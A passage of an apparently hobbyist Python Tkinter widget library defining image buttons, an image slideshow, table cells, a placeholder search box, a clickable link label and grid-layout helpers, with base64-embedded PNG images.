kwargs.pop('bdcolor')
except:
pass
self.__okipiodjdfn_f_ccc_cc_dam_okip = True
try:
self.__activefg = kwargs['hoverfg']
kwargs.pop('hoverfg')
except:
self.__activefg ="#40E0D0"
try:
self.__activefont = kwargs['activefont']
kwargs.pop('activefont')
except:
self.__activefont = "Consolas 9 normal"
#
self.__button = Button(self,kwargs,compound = CENTER)
self.__IMGG.append(IMG)
self.b = self.__button
#
if self.__okipiodjdfn_f_ccc_cc_dam_okip:
self.__bdcolor ="#40E0D0"
self.__button.config(border= 0, image =IMG)
try:
self.__fontcolor = kwargs['fg']
except:
try:
self.__fontcolor = kwargs['foreground']
except:
self.__fontcolor = "black"
self.__button.grid(row = 0, column = 0,padx = self.__bd, pady= self.__bd)
self.__font = self.__button['font']
self.config(bg = self.master['bg'])
self.__bg = self.__button['bg']
self.bind("<Enter>", self.__ret)
self.bind("<Leave>", self.__ret1)
def design(self, **kwargs):
try:
self.__img = self.__img.resize((kwargs['width'],kwargs['height']), Image.ANTIALIAS)
kwargs.pop('width')
kwargs.pop('height')
except:
pass
try:
self.__bd = kwargs['bd']
kwargs.pop('bd')
except:
pass
IMG = ImageTk.PhotoImage(self.__img)
self.__button.config(image = IMG)
self.__IMGG.append(IMG)
try:
self.__bdcolor = kwargs['bdcolor']
#print(kwargs['bdcolor'])
kwargs.pop('bdcolor')
except:
pass
#self.__okipiodjdfn_f_ccc_cc_dam_okip = True
try:
self.__activefg = kwargs['hoverfg']
kwargs.pop('hoverfg')
except:
pass
try:
self.__activefont = kwargs['activefont']
kwargs.pop('activefont')
except:
pass
self.__button.config(kwargs)
class Cinema(tk.Frame):
__show = []
#Stating that three images that will be displayed on the cinema......
Img1, Img2, Img3 = 0,0,0
#this is just instantiating, but nothing......
# Creating small slide show
__imgs = []
# Creating large slide show
__imgl = []
#storing all images data so that they will be not forgotten
__Img = []
def __init__(self, master,**kw):
tk.Frame.__init__(self, master, kw)
def __updatel_1(self):
n = len(self.__imgs)
#$$$print(n)$$$#
#$$$print(self.__x)$$$#
#x=self.__imgs.index(self.l1['image'])
x= self.__x
if x>n-2:
self.l1['image'] = None
self.l1.configure(image = self.__imgs[0])
self.__x = 0
#self.__Img.append(self.__imgs[0])
else:
self.l1['image'] = None
self.l1.configure(image = self.__imgs[x+1])
self.__x = self.__x+1
#self.__Img.append(self.__imgs[x+1])
self.l1.after(self.time, self.__updatel_1)
def __updatel_2(self):
n = len(self.__imgl)
#$$$print(n)$$$#
#$$$print(self.__x)$$$#
#x=self.__imgs.index(self.l2['image'])
x= self.__y
if x>n-2:
self.l2['image'] = None
self.l2.configure(image = self.__imgl[0])
#self.__Img.append(self.__imgs[0])
self.__y = 0
else:
self.l2['image'] = None
self.l2.configure(image = self.__imgl[x+1])
self.__y = self.__y+1
#self.__Img.append(self.__imgs[x+1])
self.l2.after(self.time, self.__updatel_2)
def __updatel_3(self):
n = len(self.__imgs)
#$$$print(n)$$$#
#$$$print(self.__x)$$$#
#x=self.__imgs.index(self.l3['image'])
x = self.__z
if x > n-2:
self.l3['image'] = None
self.l3.configure(image = self.__imgs[0])
#self.__Img.append(self.__imgs[0])
self.__z = 0
else:
self.l3['image'] = None
self.l3.configure(image = self.__imgs[x+1])
#self.__Img.append(self.__imgs[x+1])
self.__z = self.__z+1
self.l3.after(self.time, self.__updatel_3)
def StageShow(self,s = [], doxx = (260,260), dozx = (202,205), **kw):
x, y = doxx[0] , doxx[1]
a, b = dozx[0] , dozx[1]
if len(s)<3:
raise KeyError("StageShow Needs Images to show cannot return [], blank")
for i in s:
img = Image.open(i)
#Small Images
imgs = img.resize((a,b), Image.ANTIALIAS)
#Large Images
imgl = img.resize((a,b), Image.ANTIALIAS)
IMGL= ImageTk.PhotoImage(imgl)
self.__imgl.append(IMGL)
IMGS= ImageTk.PhotoImage(imgs)
self.__imgs.append(IMGS)
'''
Now calculating what it would take to restructure the whole of this CinemaFrame,
First there will be two lists...__|\/\/|__ ...
::::::::::::::::::;;;;;;;;;;;;;;;;;;;;............>>>>>>>>>>>>>>>>______-----------> The lists will then be iterated
so that the images will be repetitively on the screen
The second one will be at the middle at the very start......
'''
try:
self.time = kw['time']
except:
self.time = 3000
self.selfo= Frame(self, bg = self['bg'])
self.selfo.grid(row = 0, column = 0)
f1=Frame(self.selfo, bg = self['bg'])
f1.grid(row = 1, column = 0, pady =16, padx = 15)
f2=Frame(self.selfo, bg = "#40E0D0")
f2.grid(row = 1, column = 1)
f3=Frame(self.selfo, bg = self['bg'])
f3.grid(row = 1, column = 2, pady =16, padx = 15)
#This label will be about a small image at the very first place of the cinema screen...
self.l1 = Label(f1, bg = self['bg'], border = 0, image = self.__imgs[0])
self.l1.grid(row = 1, column = 3)
self.__x = 0
self.l1.after(self.time, self.__updatel_1)
#This one will also be containiing a small image but at the third place of the cinema screen...
self.l3 = Label(f2, bg = self['bg'], border = 0, image = self.__imgs[2])
self.l3.grid(row = 1, column = 1, pady =6,padx =6)
self.__z = 2
self.l3.after(self.time, self.__updatel_3)
#This label here, is the label containing the big screen...
self.l2 = Label(f3, bg = self['bg'], border = 0, image = self.__imgl[1])
self.l2.grid(row = 1, column = 2)
self.__y = 1
self.l2.after(self.time, self.__updatel_2)
class Table(tk.Frame):
__tr = []
__td = []
def __init__(self, master, **dam_dam):
tk.Frame.__init__(self, master)
global x_fdfdfvscvavdfvadggsrjmhs_scxcx____cxcxc____cv_cc_cxc_cxcxcSdxcxcxcsfdvsyn_srt556564qwd23w, yvjcnvjnsjdbjfnjdnjndsjfnjdnfjndjfnjdnfj__fckkvmkcmv89d89t898gjgvfnghvn
try:
self.__bg= dam_dam['bordercolor']
dam_dam.pop('bordercolor')
except:
self.__bg='#313334'
try:
x_fdfdfvscvavdfvadggsrjmhs_scxcx____cxcxc____cv_cc_cxc_cxcxcSdxcxcxcsfdvsyn_srt556564qwd23w= dam_dam['rowbd']
dam_dam.pop('rowbd')
except:
x_fdfdfvscvavdfvadggsrjmhs_scxcx____cxcxc____cv_cc_cxc_cxcxcSdxcxcxcsfdvsyn_srt556564qwd23w=1
try:
yvjcnvjnsjdbjfnjdnjndsjfnjdnfjndjfnjdnfj__fckkvmkcmv89d89t898gjgvfnghvn= dam_dam['columnbd']
dam_dam.pop('columnbd')
except:
yvjcnvjnsjdbjfnjdnjndsjfnjdnfjndjfnjdnfj__fckkvmkcmv89d89t898gjgvfnghvn=1
self.config(dam_dam)
self.config(bg = self.__bg)
class Cell(tk.Frame):
global x_fdfdfvscvavdfvadggsrjmhs_scxcx____cxcxc____cv_cc_cxc_cxcxcSdxcxcxcsfdvsyn_srt556564qwd23w, yvjcnvjnsjdbjfnjdnjndsjfnjdnfjndjfnjdnfj__fckkvmkcmv89d89t898gjgvfnghvn
def __init__(self, master, **a):
tk.Frame.__init__(self, master)
#globalising the pad borders for __pack__
global x, y
x =x_fdfdfvscvavdfvadggsrjmhs_scxcx____cxcxc____cv_cc_cxc_cxcxcSdxcxcxcsfdvsyn_srt556564qwd23w
y =yvjcnvjnsjdbjfnjdnjndsjfnjdnfjndjfnjdnfj__fckkvmkcmv89d89t898gjgvfnghvn
try:
row = a['row']
a.pop('row')
except:
raise KeyError("row, column are needed")
try:
column = a['column']
a.pop('column')
except:
raise KeyError("row, column are needed")
try:
columnspan = a['columnspan']
a.pop('columnspan')
except:
columnspan = 1
try:
rowspan = a['rowspan']
a.pop('rowspan')
except:
rowspan = 1
self.configure(a)
self.grid(row =row , column = column, columnspan = columnspan, rowspan = rowspan, sticky = 'nesw', padx = x, pady = y)
def place(**kwargs):
raise AttributeError("place is not allowed here in tables and cells\nUse pack and grid")
s = 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global smg
smg = Image.open(io.BytesIO(base64.b64decode(s)))
smg = smg.convert("RGBA")
smg = smg.resize((2600,400), Image.BOX)
s1 = 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global smg1
smg1 = Image.open(io.BytesIO(base64.b64decode(s1)))
smg1 = smg1.convert("RGBA")
smg1 = smg1.resize((2600,400), Image.BOX)
class ThemedContainer(tk.Frame):
__entry = None
__IMGSS = []
__e = []
placeholder = "Search"
__get = []
__char=[]
def __kol(self):
d= self.entry.get()
if len(self.__char)>0:
lopopdfvb__cjxjc_djxc = len(self.__char)
if d=='' and self.__char[lopopdfvb__cjxjc_djxc-1]=='':
self.entry.config(fg= self.pfg)
self.entry.insert(1, self.placeholder)
self.entry.icursor(0)
self.entry.after(100, self.__kol)
def __place(self, event):
n=len(self.__e)
n1 = len(self.__get)
if self.entry.get()==self.placeholder and self.entry['fg']==self.pfg:
self.entry.config(fg= self.ofg)
self.__get.append(self.entry.get())
self.entry.delete(0,END)
if event.char=='':
if self.entry.get()+event.char=='':
self.entry.insert(1, self.placeholder)
self.__char.append(event.char)
def __place01(self, event):
n=len(self.__e)
if self.entry.get()==self.placeholer and self.entry['fg']==self.pfg:
self.entry.config(fg= self.ofg)
#self.entry.icursor(1)
self.__get.append(self.entry.get())
self.entry.delete(0,END)
def __placeinsert(self, event):
if self.entry.get()=="":
self.entry.insert(1, self.placeholder)
self.entry.config(fg= self.pfg)
self.entry.icursor(0)
self.__get.append(self.entry.get())
def SearchBox(self, entry, **kwargs):
global smg
global smg1
#tk.Frame.__init__(self, master)
try:
self.Class = kwargs['Class']
kwargs.pop('Class')
except:
self.Class = "Normal"
try:
self.__x = kwargs['x']
kwargs.pop('x')
except:
self.__x = 200
#kwargs.pop('x')
try:
self.__y = kwargs['y']
kwargs.pop('y')
except:
self.__y = 60
#kwargs.pop('y')
if self.Class=="Normal":
imgsd = smg.resize((3000,600), Image.BOX)
data = np.array(imgsd)
#data1 =b
r,g,b = 255,255,255
try:
self.__r,self.__b,self.__g,self.__a = kwargs['bcolor'][0],kwargs['bcolor'][1],kwargs['bcolor'][2],kwargs['bcolor'][3]
kwargs.pop('bcolor')
except:
self.__r,self.__b,self.__g,self.__a = 255,255,255,1000
#kwargs.pop('bcolor')
rq2,gq2,bq2,aq2 = self.__r,self.__b,self.__g,self.__a
red, green, blue, alpha = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3]
mask = (red == r ) & (green == g) & (blue == b)
data[:,:,:4][mask] = [rq2, gq2, bq2, aq2]
img = Image.fromarray(data)
img = img.resize((420,60), Image.ANTIALIAS)
######################################################################################
imga1 = img.crop((0,0,60,60))
imga1= imga1.resize((40,self.__y), Image.ANTIALIAS)
imgb1 = img.crop((60,0,360,60))
#xx=(300,80)
imgb1=imgb1.resize((self.__x,self.__y), Image.ANTIALIAS)
imgc1 = img.crop((360,0,420,60))
imgc1= imgc1.resize((40, self.__y), Image.ANTIALIAS)
imgror13= Image.new('RGBA', (imgb1.size[0]+imga1.size[0]+imgc1.size[0],self.__y), )
imgror13.paste(imga1,(0,0))
imgror13.paste(imgb1, (imga1.size[0],0))
imgror13.paste(imgc1, (imga1.size[0]+imgb1.size[0],0))
Img = ImageTk.PhotoImage(imgror13)
#####################################################################################
elif self.Class== "Smart":
imgsd = smg1.resize((3000,1000), Image.BOX)
data = np.array(imgsd)
#data1 =b
r,g,b = 255,255,255
try:
self.__r,self.__b,self.__g,self.__a = kwargs['bcolor'][0],kwargs['bcolor'][1],kwargs['bcolor'][2],kwargs['bcolor'][3]
kwargs.pop('bcolor')
except:
self.__r,self.__b,self.__g,self.__a = 255,255,255,1000
#kwargs.pop('bcolor')
rq2,gq2,bq2,aq2 = self.__r,self.__b,self.__g,self.__a
red, green, blue, alpha = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3]
mask = (red == r ) & (green == g) & (blue == b)
data[:,:,:4][mask] = [rq2, gq2, bq2, aq2]
img = Image.fromarray(data)
img = img.resize((300,60), Image.ANTIALIAS)
######################################################################################
imga1 = img.crop((0,0,60,60))
imga1= imga1.resize((40,self.__y), Image.ANTIALIAS)
imgb1 = img.crop((60,0,240,60))
#xx=(300,80)
imgb1=imgb1.resize((self.__x+50
,self.__y), Image.ANTIALIAS)
imgc1 = img.crop((240,0,300,60))
imgc1= imgc1.resize((40, self.__y), Image.ANTIALIAS)
imgror13= Image.new('RGBA', (imgb1.size[0]+imga1.size[0]+imgc1.size[0],self.__y), )
imgror13.paste(imga1,(0,0))
imgror13.paste(imgb1, (imga1.size[0],0))
imgror13.paste(imgc1, (imga1.size[0]+imgb1.size[0],0))
Img = ImageTk.PhotoImage(imgror13)
self.configure(bg = self.master['bg'])
self.__h = Label(self , border = 0,bg =self['bg'] , image = Img)
self.__IMGSS.append(Img)
self.__h.grid(row = 0, column= 0, padx = 0, pady = 0)
entry = Entry(self , kwargs)
self.__e.append(entry)
self.entry = entry
#entry.config(bg = colorcon(str((self.__r,self.__b,self.__g,self.__a ))))
entry.grid(row = 0, column= 0, padx = 0, pady = 0)
self.placeholer, self.pfg, self.ofg = self.placeholder, "gray", self.entry['fg']
entry.insert(1,self.placeholer)
entry.config(fg= self.pfg)
entry.bind("<Key>", self.__place)
entry.bind("<Button-1>", self.__place01)
self.entry.after(100, self.__kol)
#self.bind("<Leave>", self.__placeinsert)
class Link(tk.Label):
def __Link__Handling__Beautiful__Soup(self, event):
return webbrowser.open(str(self.__href))
def __entering(self, event):
self.__orifont = self['font']
self.__orifg = self['foreground']
self.configure(font = self.__activefont , fg = self.__activefg)
def __leaving(self, event):
self.configure(font = self.__orifont , foreground = self.__orifg)
def __init__(self, master, **kwargs):
tk.Label.__init__(self, master)
try:
self.__href= kwargs['href']
kwargs.pop("href")
# removing the items to prevent further conflict
except:
self.__href = "https:/google.com"
try:
self.__activefg= kwargs['hoverfg']
kwargs.pop("hoverfg")
# removing the items to prevent further conflict
except:
self.__activefg = "yellow"
try:
self.__activefont= kwargs['activefont']
if re.search("underline",str(kwargs['activefont'])):
self.__activefont = self.__activefont + "underline"
kwargs.pop("activefont")
# removing the items to prevent further conflict
except:
self.__activefont = "Consolas 9 underline"
self.configure(border=int(0.0))
print(self['foreground'])
self.config(kwargs)
self.bind("<Button-1>", self.__Link__Handling__Beautiful__Soup)
self.bind("<Enter>", self.__entering)
self.bind("<Leave>", self.__leaving)
class ModFrame(tk.LabelFrame):
global x,y,x1,y1
x= 0
y=0
x1= 0
y1=0
global true
global false
true= False
false= False
def FrameContainsHor(self,args=[], bcolor="#313335", fcolor="#D3D3D3"):
global x,y
global true
cc= ['yellow','orange','gray','purple']
for color in cc:
if color==bcolor or color==fcolor:
cc.remove(color)
r=random.choice(cc)
for i in args:
i.grid(row=y ,column= x , padx= 10 , pady = 20)
if i.winfo_class()=="Button":
i.configure(activebackground=bcolor, activeforeground=r)
i.configure(bg= bcolor, fg= fcolor , )
'''
elif i.winfo_class()=="Entry":
i.configure(fg=r)
'''
x+=1
true=True
def AddRow(self, args=[], bcolor="#313335", fcolor="#D3D3D3"):
global x,y
global true
if true:
y=y+1
cc= ['yellow','orange','gray','purple']
x=0
for color in cc:
if color==bcolor or color==fcolor:
cc.remove(color)
r=random.choice(cc)
for i in args:
i.grid(row=y ,column= x , padx= 10 , pady = 20)
i.configure(bg= bcolor, fg= fcolor)
if i.winfo_class()=="Button":
i.configure(activebackground=bcolor, activeforeground=r)
'''
elif i.winfo_class()=="Entry":
i.configure(fg=r)
'''
x+=1
else:
print("ModTkinter.EncounterProblem.CannotAddRow.Error#001")
def FrameContainsVer(self,args=[], bcolor="#313335", fcolor="#D3D3D3"):
global x1,y1
cc1= ['yellow','orange','gray','purple']
global false
r1=random.choice(cc1)
for i in args:
i.grid(row=y1 ,column= x1 , padx= 10 , pady = 20)
i.configure(bg= bcolor, fg= fcolor)
if i.winfo_class()=="Button":
i.configure(activebackground=bcolor, activeforeground=r1)
'''
elif i.winfo_class()=="Entry":
i.configure(fg=r)
'''
y1+=1
false=True
def AddColumn(self, args=[], bcolor="#313335", fcolor="#D3D3D3"):
global x1,y1
global false
if false:
x1=x1+1
cc1= ['yellow','orange','gray','purple']
y1=0
for color in cc1:
if color==bcolor or color==fcolor:
cc1.remove(color)
r1=random.choice(cc1)
for i in args:
i.grid(row=y1 ,column= x1 , padx= 10 , pady = 20)
i.configure(bg= bcolor, fg= fcolor)
if i.winfo_class()=="Button":
i.configure(activebackground=bcolor, activeforeground=r1)
'''
elif i.winfo_class()=="Entry":
i.configure(fg=r)
'''
y1+=1
else:
print("ModTkinter.EncounterProblem.CannotAddRow.Error#001")
class ModButton(tk.Button):
__lp= []
dirr= None
def dff(self):
if self['background']!= self.master['background'] or self['activebackground']!= self.master['background'] :
self.configure(bg= self.master['background'], activebackground= self.master['background'])
print("configuring colors of graphical-base64-based widgets is banned")
def Class(self,Blass="Default"):
global Img,Img1
global Img2,Img3
global Img4,Img5
global Img6,Img7
global Img8
global img,img1
global img2,img3
global img4,img5
global img6,img7
global img8
#wandi= ["ButDef.png","ButMaceWindu.png","ButYoda.png","ButInfo.png","ButAlert.png","ButBored.png","ButCyan.png","ButCartoonish.png","ButDask.png"]
c= []
x= 12
y=12
aspd= self['text']
gra= self['font']
w=re.split("\n",aspd)
i= len(w)
#print(i)
#x*= i
y*= i
for s in w:
c.append(len(s))
so= max(c)
d= c.index(so)
see= w[d]
butsus = b'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success= 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Ru7AAAAACMY/RLMMIOAAAAwAhKHb+7CDsAAAAAI6gTN3YAAAAAeiXsAAAAAHSqtnU0wg4AAADAGKY51abRCDsAAAAAYyg50abRzDPsjP68MQAAAIBelLixAwAAANClWnKyjaMRdgAAAADGUHN6m0Yj7AAAAACM4+y2jkbYAQAAABjH1vQDOa3NoxB2AAAAAMZyQc5q0yjmF3YkIgAAAIBPtz9ntGkUcgwAAADAWE6M+wLKwg4AAADAWE4JOwAAAABdKlvCDgAAAECXqhs7AAAAAJ2aCDsAAAAAfZrktDaNQtgBAAAAGMup7G/TKIQdAAAAgLGU7GvTKIQdAAAAgLFMe7mxM01pEwAAAAAzo16qcWMHAAAAYCxl3Iswwg4AAADAeIQdAAAAAP4xYQcAAABgLJOcatMohB0AAACA8dS2jkLYAQAAAOiUsAMAAADQKWEHAAAAoFNzCztl5PdlBwAAAODTubEDAAAA0ClhBwAAAKBTwg4AAABAp4QdAAAAgLGcautIhB0AAACATgk7AAAAAJ0SdgAAAAA6NbewU5PSRgAAAAAWwI0dAAAAgE4JOwAAAACdEnYAAAAAOiXsAAAAAHRK2AEAAADolLADAAAA0ClhBwAAAKBTwg4AAABAp4QdAAAAgLFspbZpFMIOAAAAQKeEHQAAAIBOCTsAAAAAnZpn2CltBQAAAGAB3NgBAAAA6JSwAwAAANApYQcAAACgU8IOAAAAQKeEHQAAAIBOCTsAAAAAnRJ2AAAAADol7AAAAAB0ap5hp7QVAAAAgJna1lG4sQMAAADQKWEHAAAAoFPCDgAAAECnhB0AAACATgk7AAAAAJ0SdgAAAAA6JewAAAAAdErYAQAAAOiUsAMAAADQKWEHAAAAoFPCDgAAAECnhB0AAACAkZSktnEUwg4AAABAp4QdAAAAgE4JOwAAAACdEnYAAAAAOiXsAAAAAHRqnmGntBUAAACABXBjBwAAAKBTwg4AAABAp4QdAAAAgE4JOwAAAACdEnYAAAAAOiXsAAAAAHRK2AEAAADo1DzDTmkrAAAAAAvgxg4AAABAp4QdAAAAgE4JOwAAAACdEnYAAAAAOiXsAAAAAHRK2AEAAADolLADAAAA0ClhBwAAAKBTwg4AAABAp4QdAAAAgE4JOwAAAACdEnYAAAAARlJrahtHIewAAAAAdGqeYae0FQAAAIAFcGMHAAAAoFPCDgAAAECnhB0AAACATgk7AAAAAJ3y4skAAAAAnXJjBwAAAKBTwg4AAABAp4QdAAAAgE4JOwAAAACdEnYAAAAAxlPbOgphBwAAAKBTwg4AAABAp4QdAAAAgE4JOwAAAACdEnYAAAAAOjW/sFNT2gQAAADAArixAwAAANApYQcAAACgU8IOAAAAQKeEHQAAAIBOCTsAAAAAnZpf2PGeWAAAAAAL5cYOAAAAQKeEHQAAAIBOCTsAAAAAnRJ2AAAAADol7AAAAAB0StgBAAAA6JSwAwAAANApYQcAAACgU/MMO6WtAAAAACyAGzsAAAAAnRJ2AAAAADol7AAAAAB0StgBAAAA6JSwAwAAADCe2tZRCDsAAAAAnRJ2AAAAADo1t7BTakobAQAAAFgAN3YAAAAAOiXsAAAAAHRK2AEAAADolLADAAAA0ClhBwAAAKBTwg4AAABAp4QdAAAAgE7NL+xIRAAAAAALJccAAAAAjKe2dRTCDgAAAECnhB0AAACATgk7AAAAAJ0SdgAAAAA6JewAAAAAdErYAQAAAOjU3MJOTUobAQAAAFgAN3YAAAAAOiXsAAAAAHRK2AEAAADolLADAAAA0ClhBwAAAKBTwg4AAABAp+YXdqbe7hwA